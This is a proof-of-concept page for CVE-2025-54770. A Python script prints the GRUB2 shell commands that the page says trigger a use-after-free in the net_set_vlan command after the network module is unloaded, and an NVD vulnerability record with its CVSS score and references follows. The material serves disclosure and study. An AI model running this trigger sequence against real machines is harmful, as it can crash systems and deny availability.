CVE-2025-54770

# CVE-2025-54770 PoC - GRUB2 net_set_vlan Use-after-Free # This PoC demonstrates the vulnerability trigger mechanism # Note: Actual exploitation requires local access to GRUB shell # PoC for triggering the Use-after-Free in GRUB2 network module # The vulnerability occurs when net_set_vlan command is executed # after the network module has been unloaded # Simulated PoC - GRUB2 shell commands to trigger vulnerability poc_commands = """ # Load network module insmod net # Configure VLAN (this registers net_set_vlan command) net_set_vlan eth0 100 # Unload network module (vulnerability trigger point) rmmod net # Attempt to execute net_set_vlan after module unload # This triggers Use-after-Free as command handler still references deallocated memory net_set_vlan eth0 200 """ # Technical trigger mechanism: # 1. Module loads and registers command handlers # 2. Command execution allocates memory structures # 3. Module unload deallocates memory but doesn't remove command registration # 4. Subsequent command execution accesses freed memory -> crash print('[+] CVE-2025-54770 PoC Trigger Sequence') print('[+] Target: GRUB2 bootloader network module') print('[+] Vulnerability: Use-after-Free in net_set_vlan command') print('[+] Impact: System crash/DoS') print('\n' + poc_commands)

{"cve": {"id": "CVE-2025-54770", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:49.200", "lastModified": "2026-05-19T16:16:18.900", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in the GRUB2 bootloader's network module that poses an immediate Denial of Service (DoS) risk. This flaw is a Use-after-Free issue, caused because the net_set_vlan command is not properly unregistered when the network module is unloaded from memory. An attacker who can execute this command can force the system to access memory locations that are no longer valid. Successful exploitation leads directly to system instability, which can result in a complete crash and halt system availability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-825"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-54770", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413813", "source": "[email protected]"}, {"url": "https://lists.gnu.org/archive/html/grub-devel/2025-11/msg00155.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/18/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}